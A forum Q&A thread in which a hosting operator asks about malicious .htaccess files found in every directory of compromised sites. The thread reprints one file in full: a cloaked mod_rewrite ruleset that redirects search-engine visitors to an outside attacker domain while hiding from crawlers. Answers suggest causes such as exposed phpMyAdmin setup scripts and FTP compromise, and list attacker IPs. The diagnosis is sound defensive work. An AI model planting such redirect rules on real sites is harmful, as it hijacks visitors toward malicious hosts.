5

Some of the sites we're hosting are compromised by... I don't know what. Every directory on the webserver contains a .htaccess file which redirects a user coming from a search engine to a page which doesn't even exist - see the .htaccess file below.

The problem first appeared on 10 December 2010 and has been spreading ever since. It affected 8 servers at 3 different hosting providers.

I've found some links in Google to similar problems but no explanation as to what is going on. The solution is very simple: just delete the file, but that's not what I'm after. The redirect url seems to be different for every infected domain, here's a list:

  • indanetwall.net
  • checkforsec.com
  • trackallnet.com
  • bonusforall.net
  • searchforallweb.com
  • sslabssys.com

Googling on those lead to more people reporting the same problem using all kinds of different systems.

Apparently it had nothing to do with a specific server or a specific server configuration. All the latest updates were installed for the OS and installed CMS systems. It also affected servers without any CMS installed so we couldn't put the blame there.

We don't know how the files got there but it wasn't through ftp. In the end we changed all passwords for the ftp accounts, hosting provider account, databases, anything.

We did a thorough scan of all the servers and the local network but didn't find anything there. So the final conclusion is that somebody somehow got hold of a bunch of passwords to access our systems.

Luckily they didn't do any 'real' damage and in the end it was no more than a big annoyance... But it could've been much worse.

The htaccess file looks like this:

# exgocgkctswo
RewriteEngine On
RewriteCond %{REQUEST_METHOD}   ^GET$
RewriteCond %{HTTP_REFERER}     ^(http\:\/\/)?([^\/\?]*\.)?(google\.|yahoo\.|bing\.|msn\.|yandex\.|ask\.|excite\.|altavista\.|netscape\.|aol\.|hotbot\.|goto\.|infoseek\.|mamma\.|alltheweb\.|lycos\.|search\.|metacrawler\.|rambler\.|mail\.|dogpile\.|ya\.|\/search\?).*$   [NC]
RewriteCond %{HTTP_REFERER}     !^.*(q\=cache\:).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Accoona|Ace\sExplorer|Amfibi|Amiga\sOS|apache|appie|AppleSyndication).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Archive|Argus|Ask\sJeeves|asterias|Atrenko\sNews|BeOS|BigBlogZoo).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Biz360|Blaiz|Bloglines|BlogPulse|BlogSearch|BlogsLive|BlogsSay|blogWatcher).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Bookmark|bot|CE\-Preload|CFNetwork|cococ|Combine|Crawl|curl|Danger\shiptop).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Diagnostics|DTAAgent|ecto|EmeraldShield|endo|Evaal|Everest\-Vulcan).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(exactseek|Feed|Fetch|findlinks|FreeBSD|Friendster|Fcuk\sYou|Google).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Gregarius|HatenaScreenshot|heritrix|HolyCowDude|Honda\-Search|HP\-UX).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(HTML2JPG|HttpClient|httpunit|ichiro|iGetter|iPhone|IRIX|Jakarta|JetBrains).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Krugle|Labrador|larbin|LeechGet|libwww|Liferea|LinkChecker).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(LinknSurf|Linux|LiveJournal|Lonopono|Lotus\-Notes|Lycos|Lynx|Mac\_PowerPC).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Mac\_PPC|Mac\s10|Mac\sOS|macDN|Macintosh|Mediapartners|Megite|MetaProducts).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Miva|Mobile|NetBSD|NetNewsWire|NetResearchServer|NewsAlloy|NewsFire).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(NewsGatorOnline|NewsMacPro|Nokia|NuSearch|Nutch|ObjectSearch|Octora).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(OmniExplorer|Omnipelagos|Onet|OpenBSD|OpenIntelligenceData|oreilly).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(os\=Mac|P900i|panscient|perl|PlayStation|POE\-Component|PrivacyFinder).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(psycheclone|Python|retriever|Rojo|RSS|SBIder|Scooter|Seeker|Series\s60).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(SharpReader|SiteBar|Slurp|Snoopy|Soap\sClient|Socialmarks|Sphere\sScout).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(spider|sproose|Rambler|Straw|subscriber|SunOS|Surfer|Syndic8).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Syntryx|TargetYourNews|Technorati|Thunderbird|Twiceler|urllib|Validator).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Vienna|voyager|W3C|Wavefire|webcollage|Webmaster|WebPatrol|wget|Win\s9x).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Win16|Win95|Win98|Windows\s95|Windows\s98|Windows\sCE|Windows\sNT\s4).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(WinHTTP|WinNT4|WordPress|WOW64|WWWeasel|wwwster|yacy|Yahoo).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Yandex|Yeti|YouReadMe|Zhuaxia|ZyBorg).*$   [NC]
RewriteCond %{HTTP_COOKIE}      !^.*xccgtswgokoe.*$
RewriteCond %{HTTPS}            ^off$
RewriteRule ^(.*)$   http://searchforallweb.com/cgi-bin/r.cgi?p=9004&i=138ee363&j=315&m=c1ca5d58dda23245366719cd597ac0d5&h=%{HTTP_HOST}&u=%{REQUEST_URI}&q=%{QUERY_STRING}&t=%{TIME}  [R=302,L,CO=xccgtswgokoe:1:%{HTTP_HOST}:10080:/:0:HttpOnly]
# exgocgkctswo

Has anyone experienced similar problems? Does someone know what this is and how we can stop it?

| improve this question | |
  • You can prevent such attacks by using this technique: bit.ly/1mZEsit which I'm using myself. – AgA Jan 26 '14 at 5:44
2

If you noticed it "at several hosting providers" then I would think its highly likely something to do with a site on your server(s) not todo with the server itself, unless your bringing over certain config files to new hosting providers etc?

If I was you, I would enforce password changes, someones got access to your server or directories that they shouldn't have?!

What about upload forms? Is anyone using a poorly secured one with no file upload restrictions? FTP, does anyone have access that should not, can people access more than they should through it?

As I said I would do a password changes, also do updates on any cms's you might have running on there e.g. Joomla etc encase there are fixes for known security issues.

Hope that was at least slightly helpful :)

| improve this answer | |
  • Precisely. Multiple disparate hosts = OP has a security hole somewhere in their code or a compromised account. – ceejayoz Dec 14 '10 at 19:04
3

I had to solve the same problem for a bunch of clients in the last 2 months. Altough there was not much in the logs, I noticed several things:

  • All machines were Windows servers
  • All machines had phpmyadmin installed
  • All phpmyadmin installs still had the setup scripts accessible
  • All machines had log entries trying to do something with this setup script less than an hour earlier than the .htaccess timestamp
  • All machines were running the server app (both IIS and Apache) as SYSTEM user.

So, in addition to cleaning up the mess and restoring the original .htaccess files, I did the following:

  • remove any unnecessary setup scripts
  • run Apache as a seperate user Unfortunately I am better with Linux than with Windows, so I don't know if and how IIS can run as a restricted user...

Next to that I advise people to run webservers on Linux with apache-mpm-itk or another trick to run apache as the user to whom the site belongs; every site it's own user and not a single permission for group or other users. Unless you really need Windows for your site ofcourse...

| improve this answer | |
2

There isn't really a simple explanation for what caused this without knowing a lot more about your server config and what you have running.

At first glance, it looks like there's a vulnerability on your server that allowed someone to upload malicious code - but again, without knowing what's on your server, it's hard to say where that vulnerability might have come from.

| improve this answer | |
  • The sites are running on different shared hosting servers so I can't easily access that information but here's what I know. Some sites are running under Windows Server 2008 SVP 2, IIS 7.5, others under Microsoft Windows Server 2003 Service Pack 2, IIS 6.0. All sites are developed in ASP.NET 2.0/4.0 and PHP/FastCGI is enabled on the servers. Some sites - not controlled by us - run joomla, mambo, wordpress, Zen Cart, ... – Steven K. Dec 14 '10 at 18:51
  • And are those Joomla, Mambo, WordPress, Zen Cart, etc. sites all updated regularly? Each has frequent security patches. – ceejayoz Dec 14 '10 at 19:05
  • The hosting providers say that the systems are frequently patched but I can't check it out for myself. From what I see: the problem seems to affect some big hosting providers who's systems you would expect to be up to date. – Steven K. Dec 14 '10 at 19:56
  • I've tended to find that the bigger the host, the less likely they are to keep their custom build of various CMSes patched. Go to the login pages on a few of these and see what versions are running. – ceejayoz Dec 14 '10 at 23:44
1

You need to check the date the files were uploaded and then review your FTP and HTTP logs. You probably allowed for file uploading via some script by not sanitizing your inputs for directory transversal, or you have a program running either on request or timed that drops these files in.

If it's a shared host, your host could be compromised, and they probably haven't set up their shares correctly to not allow for things like this. One of the other 'customers' is exploiting the server.

| improve this answer | |
  • I've just had a look at the iis log files of 3 different sites and there is nothing to be found there. Nobody was connecting/accessing the sites at the time the htacces files were created. It sounds like the system is infected... – Steven K. Dec 14 '10 at 19:48
  • Check the user history files. There is likely someone else on a server share that knows how to get access to other people's shares. You might even have your chmod setting to allow for directory to be written outside of your usergroup. If you don't know about chmod you can google it. – Incognito Dec 14 '10 at 19:59
  • Thx for the info. I'll have to ask the hosting provider about that. I can only access the system through plesk. – Steven K. Dec 14 '10 at 20:19
1

I had the same hack on an FTP server with about a dozen FTP accounts.

The hack was definitely done through FTP, on only one of the accounts. That FTP account is not for a web site, so the .htaccess files were useless there.

A search for the IPS through all the old log files in the backups didn't turn up any other file than the ftp server logs. In case someone finds this useful, these are the dates and IPs of the .htaccess uploads:

2010-11-06 : 212.117.165.214
2010-11-26 : 188.72.213.38
2010-12-10 : 188.72.213.38
2010-12-21 : 188.72.201.27
2011-01-01 : 173.236.69.60
2011-01-11 : 173.236.69.45
2011-01-27 : 94.100.17.177
2011-02-05 : 94.100.17.177
2011-02-19 : 94.100.17.157
2011-02-20 : 94.100.17.157
2011-02-21 : 94.100.17.157
2011-03-01 : 69.172.130.209
2011-03-05 : 174.36.82.151-static.reverse.softlayer.com
2011-03-10 : baltimore.newsintegrated.com
| improve this answer | |

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.